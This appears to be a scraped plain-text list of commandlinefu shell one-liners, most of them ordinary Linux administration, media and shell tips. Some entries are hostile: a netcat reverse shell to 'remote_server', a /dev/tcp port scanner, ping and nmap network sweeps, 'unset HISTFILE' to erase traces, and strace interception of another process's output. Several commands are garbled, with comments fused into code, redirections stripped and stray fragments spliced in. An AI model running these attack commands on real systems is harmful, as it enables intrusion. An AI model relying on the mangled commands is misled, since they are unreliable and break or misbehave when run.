touch $2;firefox -print $1 -printmode PNG -printfile $2
# create a temporary file in a command line call
any_script.sh < <(some command)
# Binary clock
perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep 1}'
# Outgoing IP of server
dig +short @resolver1.opendns.com myip.opendns.com
# Send email with curl and gmail
curl -n --ssl-reqd --mail-from "" --mail-rcpt "" --url smtps://smtp.gmail.com:465 -T file.txt
# Create several copies of a file
for i in {1..5}; do cp test{,$i};done
# Terrorist threat level text
echo "Terrorist threat level: `od -An -N1 -i /dev/random`"
# Use xdg-open to avoid hard coding browser commands
xdg-open http://gmail.com
# Send email with one or more binary attachments
echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@example.com
# Extended man command
/usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less
# back ssh from firewalled hosts
ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip
# add the result of a command into vi
!!command
# is today the end of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
# Copy with progress
rsync --progress file1 file2
# Grep without having it show its own process in the results
ps aux | grep "[s]ome_text"
# Get your mac to talk to you
say -v Vicki "Hi, I'm a mac"
# Better way to use notify-send with at or cron
DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test
# Display last exit status of a command
echo $?
# Create a Multi-Part Archive Without Proprietary Junkware
tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.
# print file without duplicated lines using awk
awk '!a[$0]++' file
# execute a shell with netcat without -e
mknod backpipe p && nc remote_server 1337 0backpipe
# bash shortcut: !$ !^ !* !:3 !:h and !:t
echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t
# generate random password
pwgen -Bs 10 1
# Quick HTML image gallery from folder contents
find . -iname '*.jpg' -exec echo '' \; > gallery.html
# move a lot of files over ssh
tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'
# Download schedule
echo 'wget url' | at 12:00
# Start a HTTP server which serves Python docs
pydoc -p 8888 & gnome-open http://localhost:8888
# pretend to be busy in office to enjoy a cup of coffee
j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; done | dialog --gauge "Install part $j : `sed $(perl -e "print int
rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done
# [re]verify a disc with very friendly output
dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5
# alt + 1 .
alt + 1 .
# Save the Top 2500 commands from commandlinefu to a single text file
# grep tab chars
grep "^V" your_file
# List bash functions defined in .bash_profile or .bashrc
compgen -A function
# Replace spaces in filenames with underscores
for f in *;do mv "$f" "${f// /_}";done
# kill process by name
pkill -x firefox
# Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"
# Down for everyone or just me?
down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!d;s/<[^>]*>//g' ; }
# Google Translate
translate() { lng1="$1";lng2="$2";shift;shift; wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=${@// /+}&langpair=$lng1|$lng2" |
sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
# Convert the contents of a directory listing into a colon-separated environment
variablefind . -name '*.jar' -printf '%f:'
# Backup files older than 1 day on /home/dir, gzip them, moving old file to a da
ted file.find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;
# Tells which group you DON'T belong to (opposite of command "groups") --- uses
sedsed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'
# Get video information with ffmpeg
ffmpeg -i filename.flv
# Download file with multiple simultaneous connections
aria2c -s 4 http://my/url
# List your largest installed packages.
wajig large
# Escape potential tarbombs
atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf
$1 -C ${1%.tar.gz}; fi ;}
# How to run a command on a list of remote servers read from a file
while read server; do ssh -n user@$server "command"; done < servers.txt
# Open Remote Desktop (RDP) from command line and connect local resources
rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ &
# send DD a signal to print its progress
while :;do killall -USR1 dd;sleep 1;done
# Follow tail by name (fix for rolling logs with tail -f)
tail -F file
# Change proccess affinity.
taskset -cp
# Split File in parts
split -b 19m file Nameforpart
# Ping scanning without nmap
for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done
# Open a man page as a PDF in Gnome
TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF
# Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|egrep '^ii linux-(im|he)'|awk '{print $2}'|grep -v `uname -r`)
# Use Kernighan & Ritchie coding style in C program
indent -kr hello.c
# Re-read partition table on specified device without rebooting system (here /de
v/sda).blockdev --rereadpt /dev/sda
# disable history for current shell session
unset HISTFILE
# convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk forma
t)VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw
# Numeric zero padding file rename
rename 's/\d+/sprintf("%04d",$&)/e' *.jpg
# Measures download speed on eth0
while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done
# Concatenate (join) video files
mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi
# Wrap text files on the command-line for easy reading
fold -s
# Find distro name and/or version/release
cat /etc/*-release
# ssh autocomplete
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh
# all out
pkill -KILL -u username
# bash screensaver off
setterm -powersave off -blank 0
# Show Directories in the PATH Which does NOT Exist
(IFS=:;for p in $PATH; do test -d $p || echo $p; done)
# An easter egg built into python to give you the Zen of Python
python -c 'import this'
# Log your internet download speed
echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
# exclude a column with awk
awk '{ $5=""; print }' file
# Convert text to lowercase
lower() { echo ${@,,}; }
# Generate a Random MAC address
openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//'
# Find the process you are looking for minus the grepped one
pgrep command_name
# Check which files are opened by Firefox then sort by largest size.
lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -- "$9 | "sort -rn" }'
# Create an animated gif from a Youtube video
url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl -b $url; mplayer $(ls ${url##*=}*| tail -n1) -ss 00:57 -endpos 10 -vo gif89a:fps=5:output=output.gif
-vf scale=400:300 -nosound
# Create a new file
> file
# Amazing real time picture of the sun in your wallpaper
curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin
# Screensaver
alias screensaver='for ((;;)); do echo -ne "\033[$((1+RANDOM%LINES));$((1+RANDOM%COLUMNS))H\033[$((RANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done'
# When was your OS installed?
ls -lct /etc | tail -1 | awk '{print $6, $7}'
# Generate MD5 hash for a string
md5sum <<<"test"
# Multiple variable assignments from command output in BASH
read day month year < <(date +'%d %m %y')
# Show which programs are listening on TCP and UDP ports
netstat -plunt
# use screen as a terminal emulator to connect to serial consoles
screen /dev/tty 9600
# rename files according to file with colums of corresponding names
xargs -n 2 mv < file_with_colums_of_names
# Remote control for Rhythmbox on an Ubuntu Media PC
alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'
# uncomment the lines where the word DEBUG is found
sed '/^#.*DEBUG.*/ s/^#//' $FILE
# vim easter egg
$ vim ... :help 42
# Isolate file name from full path/find output
echo ${fullpath##*/}
# Countdown Clock
MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e "\n\nBOOOM! Time to start."
# Rot13 using the tr command
alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
# Check availability of Websites based on HTTP_CODE
urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done
# Bash logger
script /tmp/log.txt
# Convert filenames from ISO-8859-1 to UTF-8
convmv -r -f ISO-8859-1 -t UTF-8 --notest *
# Backup files incremental with rsync to a NTFS-Partition
rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
# copy with progress bar - rsync
rsync -rv --progress
# List your MACs address
cat /sys/class/net/eth0/address
# List and delete files older than one year
find -mtime +365 -and -not -type d -delete
# comment current line(put # at the beginning)
# Use /dev/full to test language I/O-failsafety
perl -e 'print 1, 2, 3' > /dev/full
# Get the 10 biggest files/folders for the current direcotry
du -sk * |sort -rn |head
# Recover remote tar backup with ssh
ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf -
# List only the directories
find . -maxdepth 1 -type d | sort
# JSON processing with Python
curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R
# lotto generator
echo $(shuf -i 1-49 | head -n6 | sort -n)
# To get you started!
vimtutor
# mp3 streaming
nc -l -p 2000 < song.mp3
# alias to close terminal with :q
alias ':q'='exit'
# Backup all MySQL Databases to individual files
for I in `echo "show databases;" | mysql | grep -v Database`; do mysqldump $I > "$I.sql"; done
# Quick screenshot
import -pause 5 -window root desktop_screenshot.jpg
# Print a row of 50 hyphens
python -c 'print "-"*50'
# New files from parts of current buffer
:n,m w newfile.txt
# awk using multiple field separators
awk -F "=| "
# Password Generation
pwgen --alt-phonics --capitalize 9 10
# Block an IP address from connecting to a server
iptables -A INPUT -s 222.35.138.25/32 -j DROP
# scp file from hostb to hostc while logged into hosta
scp user@hostb:file user@hostc:
# Add temporary swap space
dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile
# loop over a set of items that contain spaces
ls | while read ITEM; do echo "$ITEM"; done
# Quickly find a count of how many times invalid users have attempted to access
your systemgunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less
# Find corrupted jpeg image files
find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"
# Export MySQL query as .csv file
echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv
# Create/open/use encrypted directory
encfs ~/.crypt ~/crypt
# Function to split a string into an array
read -a ARR <<<'world domination now!'; echo ${ARR[2]};
# IFS - use entire lines in your for cycles
export IFS=$(echo -e "\n")
# log a command to console and to 2 files separately stdout and stderr
command > >(tee stdout.log) 2> >(tee stderr.log >&2)
# Rotate a set of photos matching their EXIF data.
jhead -autorot *.jpg
# save date and time for each command in history
export HISTTIMEFORMAT="%h/%d-%H:%M:%S "
# output length of longest line
awk '(length > n) {n = length} END {print n}'
# run remote linux desktop
xterm -display :12.0 -e ssh -X user@server &
# Salvage a borked terminal
stty sane
# Optimize PDF documents
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
# Outputs files with ascii art in the intended form.
iconv -f437 -tutf8 asciiart.nfo
# connect via ssh using mac address
ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`
# intercept stdout/stderr of another process
strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p
# Smart `cd`.. cd to the file directory if you try to cd to a file
cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; }
# Sort a one-per-line list of email address, weeding out duplicates
sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt
# Display GCC Predefined Macros
gcc -dM -E - < /dev/null
# Run a command when a file is changed
while inotifywait -e modify /tmp/myfile; do firefox; done
# Adding leading zeros to a filename (1.jpg -> 001.jpg)
zmv '(<1->).jpg' '${(l:3::0:)1}.jpg'
# Get your external IP address
curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'
# Speak the top 6 lines of your twitter timeline every 5 minutes.....
while [ 1 ]; do curl -s -u username:password http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival
--tts; sleep 300;done
# Grep Recursively Through Single File Extension
grep --include=*.py -lir "delete" .
# backup with mysqldump a really big mysql database to a remote machine over ssh
mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'
# Create a tar archive using 7z compression
tar cf - /path/to/data | 7z a -si archivename.tar.7z
# Backup (archive) your Gmail IMAP folders.
mailutil transfer {imap.gmail.com/ssl/user=john@gmail.com} Gmail/
# Determine what an process is actually doing
sudo strace -pXXXX -e trace=file
# Easily scp a file back to the host you're connecting from
mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
# Make vim open in tabs by default (save to .profile)
alias vim="vim -p"
# LDAP search to query an ActiveDirectory server
ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'
# let a cow tell you your fortune
fortune | cowsay
# Select and Edit a File in the Current Directory
PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done
# Setting global redirection of STDERR to STDOUT in a script
exec 2>&1
# Stripping ^M at end of each line for files
dos2unix
# Smart renaming
mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
# external projector for presentations
xrandr --auto
# seq can produce the same thing as Perl's ... operator.
for i in $(seq 1 50) ; do echo Iteration $i ; done
# FAST Search and Replace for Strings in all Files in Directory
sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF'
# Save your terminal commands in bash history in real time
shopt -s histappend ; PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
# Processes by CPU usage
ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"
# Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)
tcs -f 8859-1 -t utf /some/file
# view hex mode in vim
:%!xxd
# Delete backward from cursor, useful when you enter the wrong password
Ctrl + u
# Find out the starting directory of a script
echo "${0%/*}"
# count how many times a string appears in a (source code) tree
$ grep -or string path/ | wc -l
# send a message to a windows machine in a popup
echo "message" | smbclient -M NAME_OF_THE_COMPUTER
# fast access to any of your favorite directory.
alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'
# connect via ssh using mac address
sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200
# Get the time from NIST.GOV
cat (.)*" | grep -Eo "http://i.imgur.com/[^<]*";}
# Poke a Webserver to see what it's powered by.
wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server
# Disable annoying sound emanations from the PC speaker
sudo rmmod pcspkr
# Execute most recent command containing search string.
!??
# silent/shh - shorthand to make commands really quiet
silent(){ $@ > /dev/null 2>&1; }; alias shh=silent
# Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i .flv -vn .mp3
# Clean swap area after using a memory hogging application
swapoff -a ; swapon -a
# Using bash inline "here document" with three less-than symbols on command line
<<<"k=1024; m=k*k; g=k*m; g" bc
# Check a nfs mountpoint and force a remount if it does not reply after a given
timeout.NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" || (umount -fl $NFSPATH; mount $NFSPATH)
# Show which process is blocking umount (Device or resource is busy)
lsof /folder
# Move items from subdirectories to current directory
find -type f -exec mv {} . \;
# currently mounted filesystems in nice layout
column -t /proc/mounts
# cat a file backwards
tac file.txt
# Keep from having to adjust your volume constantly
find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .
# grab all commandlinefu shell functions into a single file, suitable for sourci
ng.export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print
"$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep -v '^--' > clf.sh;rm -r $QQ
# Copy file content to X clipboard
:%y *
# back up your commandlinefu contributed commands
curl http://www.commandlinefu.com/commands/by//rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
# make a log of a terminal session
script
# Get your outgoing IP address
curl -s ip.appspot.com
# Redirect incoming traffic to SSH, from a port of your choosing
iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22
# Using tput to save, clear and restore the terminal contents
tput smcup; echo "Doing some things..."; sleep 2; tput rmcup
# easily find megabyte eating files or directories
du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi;
size=$((size/1024)); done; done
# Wget Command to Download Full Recursive Version of Web Page
wget -p --convert-links http://www.foo.com
# List only directory names
ls -d */
# Monitor a file's size
watch -n60 du /var/log/messages
# Get notified when a job you run in a terminal is done, using NotifyOSD
alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"'
# Get a quick list of all user and group owners of files and dirs under the cwd.
find -printf '%u %g\n' | sort | uniq
# printing barcodes
ls /home | head -64 | barcode -t 4x16 | lpr
# securely erase unused blocks in a partition
# cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredU
nusedBlocks
# synchronicity
cal 09 1752
# watch process stack, sampled at 1s intervals
watch -n 1 'pstack 12345 | tac'
# Perl Command Line Interpreter
perl -e 'while(1){print"> ";eval<>}'
# Remove lines that contain a specific pattern($1) from file($2).
sed -i '/myexpression/d' /path/to/file.txt
# resize all JPG images in folder and create new images (w/o overwriting)
for file in *.jpg; do convert "$file" -resize 800000@ -quality 80 "small.$file"; done
# Display a wave pattern
ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"
# Convert images to a multi-page pdf
convert -adjoin -page A4 *.jpeg multipage.pdf
# Delay execution until load average falls under 1.5
echo 'some command' | batch
# Get the canonical, absolute path given a relative and/or noncanonical path
readlink -f ../super/symlink_bon/ahoy
# Go (cd) directly into a new temp folder
cd "$(mktemp -d)"
# Use wget to download one page and all it's requisites for offline viewing
wget -e robots=off -E -H -k -K -p http://
# Temporarily ignore known SSH hosts
ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1
# See The MAN page for the last command
man !!:0
# Search command history on bash
ctrl + r
# find builtin in bash v4+
ls -l /etc/**/*killall
# Copy a folder tree through ssh using compression (no temporary files)
ssh 'tar -cz //' | tar -xvz
# Edit video by cutting the part you like without transcoding.
mencoder -ss -endpos
"|grep -oE "
"|sed -e 's/<\/p>/\n/g' -e 's/
//g' -e
's/
//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1
# Enable cd by variable names
shopt -s cdable_vars
# copy/mkdir and automatically create parent directories
cp --parents /source/file /target-dir
# Find the processes that are on the runqueue. Processes with a status of
ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
# Edit file(s) that has been just listed
vi `!!`
# Using the urxvt terminal daemon
urxvtd -q -o -f
# fix broken permissions
find /path -type d -perm 777 -exec chmod 755 {} \;
# Detach a process from the current shell
ping -i1 www.google.com &> /dev/null & disown
# Show all machines on the network
nmap 192.168.0-1.0-255 -sP
# pretend to be busy in office to enjoy a cup of coffee
while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump -C | grep "ca fe"
# bulk dl files based on a pattern
curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-art-free-sample-00[00-19].jpg
# Remove EXIF data from images with progress
i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done
# Batch resize all images in the current directory that are bigger than 800px, h
eight or weight.mogrify -resize 800\> *
# Print a random 8 digit number
jot -r -n 8 0 9 | rs -g 0
# YES = NO
yes n
# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "
# Recursively remove all subversion folders
find . -name .svn -exec rm \-rf {} \;
# Record your desktop
xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0 --start_no 0 --continue yes --gui no --auto
# list your device drivers
lspci -vv
# en/decrypts files in a specific directory
for a in path/* ; do ccenrypt -K $a; done
# Get Lorum Ipsum random text from lorumipsum.com
lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n '//,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g'
# lsof equivalent on solaris
/usr/proc/bin/pfiles $PID
# Simplest port scanner
for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done
# Generate diff of first 500 lines of two files
diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)
# Create md5sum of files under the current dir excluding some directories
find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum
# Postpone a command [zsh]
# find all non-html files
find . -type f ! -name "*html"
# Print a date from 3 days ago
TZ=PST8PDT+72 date '+%Y_%m_%d'
# git remove files which have been deleted
git ls-files -z --deleted | xargs -0 git rm
# Boot another OS at next startup
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
# Blank/erase a DVD-RW
dvd+rw-format -force /dev/dvd1
# Change display resolution
xrandr -s 1280x1024
# Batch rename extension of all files in a folder, in the example from .txt to .
mdrename 's/.txt/.md/i' *
# For a $FILE, extracts the path, filename, filename without extension and exten
sion.FILENAME=${FILE##*/};FILEPATH=${FILE%/*};NOEXT=${FILENAME%\.*};EXT=${FILE##*.}
# Extract audio from start to end position from a video
mplayer -vc null -vo null -ao pcm -ss -endpos
# Find a CommandlineFu users average command rating
wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}'
# Compress files found with find
find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz
# Identify name and resolution of all jpgs in current directory
identify -verbose *.jpg|grep "\(Image:\|Resolution\)"
# Format ps command output
ps ax -o "%p %U %u %x %c %n"
# Start another instance of X via SSH
startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600
# Monitor cpu freq and temperature
watch --interval 1 "cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep MHz; cat /proc/acpi/processor/*/throttling"
# Empty a file
> foobar.txt
# Show latest changed files
ls -ltcrh
# Search for a word in less
\bTERM\b
# Print out a man page
man -t man | lp
# Skip filenames with control characters, a.k.a tab,newline etc
find . ! -name "$(printf '*[\001-\037\177]*')"
# View non-printing characters with cat
cat -v -t -e
# get the latest version
mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest
# Go to parent directory of filename edited in last command
cd `dirname $_`
# Convert encoding of given files from one encoding to another
iconv -f utf8 -t utf16 /path/to/file
# show all established tcp connections on os x
lsof -iTCP -sTCP:ESTABLISHED | awk '{print $1}' | sort -u
# for newbies, how to get one line info about all /bin programs
ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"
# Realtime apache hits per second
tail -f access_log | cut -c2-21 | uniq -c
# Setup a persistant SSH tunnel w/ pre-shared key authentication
autossh -f -i /path/to/key -ND local-IP:PORT User@Server
# restore the contents of a deleted file for which a descriptor is still availab
leN="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"
# Sum columns from CSV column $COL
perl -ne 'split /,/ ; $a+= $_[3]; END {print $a."\n";}' -f ./file.csv
# A bit of privacy in .bash_history
export HISTCONTROL=ignoreboth
# scp a good script from host A which has no public access to host C, but with a
hop by host Bcat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"
# Compute running average for a column of numbers
awk '{avg += ($1 - avg) / NR;} END { print avg; }'
# Chage default shell for all users [FreeBSD]
cd /usr/home && for i in *;do chsh -s bash $i;done
# Avoids ssh timeouts by sending a keep alive message to the server every 60 sec
ondsecho 'ServerAliveInterval 60' >> /etc/ssh/ssh_config
# Auto download Ubuntu 10.04 LTS with super fast zsync
mv ubuntu-10.04-rc-desktop-amd64.iso ubuntu-10.04-desktop-amd64.iso; i=http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-amd64.iso.zsync; while true; do if
wget $i; then zsync $i; date; break; else sleep 30; fi; done
# get the top 10 longest filenames
find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF " " $0 } ' | sort -nrf | head -10
# Count to 65535 in binary (for no apparent reason)
a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`
# zsh only: access a file when you don't know the path, if it is in PATH
file =top
# Copy ssh keys to user@host to enable password-less ssh logins.
ssh-copy-id user@host
# Get all mac address
ifconfig | awk '/HWaddr/ { print $NF }'
# Run a command for a given time
very_long_command& sleep 10; kill $!
# Get the absolute path of a file
absolute_path () { readlink -f "$1"; };
# Delete files older than..
find /dir_name -mtime +5 -exec rm {} \
# Get a MySQL DB dump from a remote machine
ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql
# Makes the permissions of file2 the same as file1
getfacl file1 | setfacl --set-file=- file2
# Add existing user to a group
usermod -a -G groupname username
# Perl Simple Webserver
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'
# Send an http HEAD request w/curl
curl -I http://localhost
# Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g
# Trace a DNS query from root to the authoritive servers.
dig +trace google.com
# vimdiff to remotehost
vimdiff tera.py <(ssh -A testserver "cat tera.py")
# Find files with root setuids settings
sudo find / -user root -perm -4000 -print
# Mac Sleep Timer
sudo pmset schedule sleep "08/31/2009 00:00:00"
# take a look to command before action
find /tmp -type f -printf 'rm "%p";\n'
# Create a self-extracting archive for win32 using 7-zip
cat /path/to/7z.sfx /path/to/archive > archive.exe
# get time in other timezones
tzwatch
# Find out which debian package a command (executable) belongs to on debian-base
d distrosfunction whichpkg() { readlink -f "$(which $1)" | xargs --no-run-if-empty dpkg -S; }
# Find all the files more than 10MB, sort in descending order of size and record
the output of filenames and size in a text file.find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out
# Tweak system files without invoking a root shell
echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg
# Change the ownership of all files owned by one user.
find /home -uid 1056 -exec chown 2056 {} \;
# Show the power of the home row on the Dvorak Keyboard layout
egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words
# no more line wrapping in your terminal
function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }
# Use the arguments used in the last command
mkdir !*
# Create and replay macros in vim
q a ...vim commands... q (to record macro) @a (plays macro 'a').
# Recursively remove .svn directories
find . -type d -name .svn -delete
# Dumping Audio stream from flv (using mplayer)
$ mplayer -dumpaudio -dumpfile .mp3 .flv
# extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html
# Monitor memory usage
watch vmstat -sSM
# Get your external IP address if your machine has a DNS entry
dig +short $HOSTNAME
# ssh: change directory while connecting
ssh -t server 'cd /etc && $SHELL'
# Recursively remove .svn directories from a local repository
find . -type d -name .svn -execdir rm -rf {} +
# split a string (1)
ARRAY=(aa bb cc);echo ${ARRAY[1]}
# Stage only portions of the changes to a file.
git add --patch
# Commit only newly added files to subversion repository
svn ci `svn stat |awk '/^A/{printf $2" "}'`
# Have a random "cow" say a random thing
fortune | cowsay -f $(ls /usr/share/cowsay/cows/ | shuf -n1)
# connects to a serial console
cu -s 9600 -l /dev/ttyS0
# Output a list of svn repository entities to xml file
svn list -R https://repository.com --xml >> svnxxmlinfo.xml
# Updating the status on identi.ca using curl.
curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml
# How to backup hard disk timely?
rsync -a --link-dest=/media/backup/$HOSTNAME/$PREVDATE '--exclude=/[ps][ry][os]' --exclude=/media/backup/$HOSTNAME / /media/backup/$HOSTNAME/$DATE/
# List your MACs address
